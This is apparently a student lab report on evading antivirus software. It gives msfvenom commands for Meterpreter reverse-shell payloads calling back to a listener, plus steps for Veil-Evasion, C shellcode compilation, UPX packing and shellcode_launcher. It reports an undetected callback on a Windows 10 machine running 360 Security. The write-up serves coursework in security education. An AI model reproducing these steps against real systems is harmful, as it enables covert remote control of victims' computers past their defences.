1.实验内容
- 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
-
通过组合应用各种技术实现恶意代码免杀
-
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实验过程
任务一:正确使用基础免杀工具或技巧,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器
使用msfvenom生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.128 LPORT=2418 -f exe > 20192418_backdoor.exe
用Virustotal网站扫描,得到结果:
一次编码:
一次编码对结果的检测几乎没有影响。
十次编码:
十次编码之后检测结果仍然没有变化,说明msfvenom会以固定的模板生成可执行文件,如果使用默认参数或者模板,就会出现固定特征。所以AV会针对其使用的模板来生成特征码,这样就可以解决msfvenom生成的大部分恶意代码。如果使用msfvenom免杀,就要使用原生的模板生成可执行文件exe。
2. 使用msfvenom生成如jar之类的其他文件
生成jar文件:
用Virustotal网站扫描,得到结果:
效果比msfvenom生成的恶意代码要好得多。
生成apk文件:
扫描:
效果与jar文件相差无几。
生成php文件:
扫描:
扫描结果比jar和apk要更好。
生成Python文件:
扫描:
效果最好
3. 使用veil-evasion生成后门程序及检测
先安装veil
sudo apt-get install veil-evasion
输入veil,出现界面则安装完成
输入use 1, 进入Evil-Evasion界面
输入list查看可以使用的payload
选择一个可用的playload,输入use的编号,如果要选powershell,则输入use 22
设置地址和端口号
set LHOST 192.168.72.128 //设置反弹连接IP
set LPORT 2418 //设置端口
options //查看设置情况
generate生成文件:
在目录下找到文件:
用Virustotal网站扫描,得到结果:
效果较差
生成exe文件,输入use 7:
generate生成文件:
目录下找到文件:
生成可执行文件:
用Virustotal网站扫描,得到结果:
效果也不行。
4. C + shellcode编程
先用msf生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.128 LPORT=2418 -f c
然后创建一个名为2418_c.c的文件,并把刚生成的shellcode加到代码中,如图所示:
编译c文件为exe可执行文件:
用Virustotal网站扫描,得到结果:
扫描后发现效果也一般。
5. 加壳
使用压缩壳:
对上面生成的2418_c.exe用UPX加壳,输入upx 2418_c.exe -o 2418_upx.exe,生成2418_upx.exe文件:
用Virustotal网站扫描,得到结果:
将文件拷贝到win10主机中执行,未被360安全卫士和系统杀毒软件发现:
任务二:通过组合应用各种技术实现恶意代码免杀
- 使用工具shellcode_launcher
用Msfvenom生成raw格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.72.128 lport=2418 -f raw -o 20192418.raw
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
将raw文件拷贝到win10,在linux中使用msf开启监听
在win10中打开cmd,进入shellcode_launcher所在文件夹,输入shellcode_launcher.exe -i 20192418.raw
发现连接成功,输入dir,结果如下:
任务完成,实现免杀。
3.问题及解决方案
-
问题1:安装veil的时候,同时要安装python,卡住无法安装。
-
问题1解决方案:先安装wine才能安装python,期间也给虚拟机增加了内存,但是仍然卡顿,最终还是在耐心等待中成功安装了veil和相关插件。
-
问题2:下载veil时太卡。
-
问题2解决方案:校园网太差,没法在虚拟机里正常下载软件,换热点。
4.学习感悟、思考等
(1)杀软是如何检测出恶意代码的?
基于特征码的检测,启发式恶意软件检测,基于行为的恶意软件检测。
(2)免杀是做什么?
免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的。
(3)免杀的基本方法有哪些?
改变特征码,改变行为特征,纯手工打造一个恶意软件。
学习感悟:
本次实验中,遇到的问题主要集中在veil的安装中,其他步骤中遇到的问题不大。这次实验给我最大的收获就是杀软不是100%的可靠,比如将2418_upx.exe加壳文件在win10中运行,
也不会被杀软检测出来。今后还要更深入学习相关的专业知识,学习恶意代码不是为了搞破坏,而是为了更好的了解各种形态的恶意软件,在防守应对不同的恶意代码攻击时才能更得心应手。